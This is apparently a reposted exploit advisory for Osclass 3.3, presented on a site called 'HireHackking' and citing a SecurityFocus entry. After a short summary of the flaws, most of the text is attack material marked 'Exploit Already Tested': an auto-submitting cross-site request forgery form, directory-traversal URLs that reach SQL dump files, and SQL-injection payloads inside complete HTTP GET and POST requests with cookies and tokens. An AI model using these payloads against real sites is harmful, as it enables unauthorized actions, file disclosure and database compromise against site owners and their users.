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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/64386/info

Osclass is prone to the following input-validation vulnerabilities:

1. A cross-site request-forgery vulnerability
2. Multiple directory-traversal vulnerabilities
3. An SQL-injection vulnerability

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, to view arbitrary local files and directories within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Osclass 3.3 is vulnerable; other versions may also be affected. 

Cross-site request forgery:


[!] Exploit Already Tested ... on apache

[^] Error console:- /general/index.php  

[?] proof of concept :

<html>
<body onload="javascript:document.forms[0].submit()">
<form  name="<empty>" action="http://www.example.com/general/index.php" 
method=GET enctype="multipart/form-data">
<input type=hidden size=30 maxlength=30 name=page value="">
<input type=hidden size=30 maxlength=30 name=sOrder  value="">
<input type=hidden size=30 maxlength=30 name=iOrderType value="">
<td><input type=text size=30 maxlength=250 name=sPattern value=""></td>
<td><input type=text size=30 maxlength=100 name=sCity value=""></td>
<td><input type=text size=30 maxlength=100 name=sRegion value=""></td>
<td><input type=Checkbox size=10 maxlength=10 name=bPic value=""></td>
<input type=text size=30 maxlength=250 name=sPriceMin value=""></td>
<td><input type=text size=30 maxlength=100 name=sPriceMax  
value=""></td>
<td><input type=Checkbox size=10 maxlength=10 name=sCategory 
value=""></td>
<input type=submit class=button value='Save'>
</form>
</html>

Directory Traversal: 


[!] Exploit Already Tested ... on apache

[^] Error console:- directory traversal allow to dump db 

[?] proof of concept :


/general/oc-content/languages/en_US/mail.sql

/general/oc-includes/osclass/installer/basic_data.sql

/general/oc-includes/osclass/installer/pages.sql


exploit

http://www.example.com/general/oc-content/languages/en_US/mail.sql


SQL injection:


[!] Exploit Already Tested ... on apache

[^] Error console:-

1*-URL encoded GET input action was set to -1' or 18 = '16

2*-URL encoded POST input action was set to -1" or 34 = "31

[?] proof of concept :


/general/oc-admin/index.php
/general/index.php

1*-

RequestGET 
/general/oc-admin/index.php?action=-1%27%20or%2018%20%3d%20%2716&page=login 
HTTP/1.1
X-Requested-With: XMLHttpRequest
Cookie: osclass=1cdd2642f3187eedcfa8b959300d08e2; 
9abe5=oc_adminId._.oc_adminSecret._.oc_adminLocale%261._.7VIeKmoH._.it_IT
Host: demo.osclass.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; 
Trident/5.0)
Accept: */*

2*-

POST /general/index.php HTTP/1.1
Content-Length: 246
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: osclass=1cdd2642f3187eedcfa8b959300d08e2
Host: demo.osclass.org
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; 
Trident/5.0)
Accept: */*

action=-1%22%20or%2034%20%3d%20%2231&CSRFName=CSRF83497906_1588898183&CSRFToken=dbdd20b65f0a882be3c6629ec1d975be69c2668cdb8e75aa2b5a42f5d031b66cbaf4073567b352024e09fe04ba358c6186d1e58e1493822005a88893363a1f9d&page=login&s_email=sample%40email.tst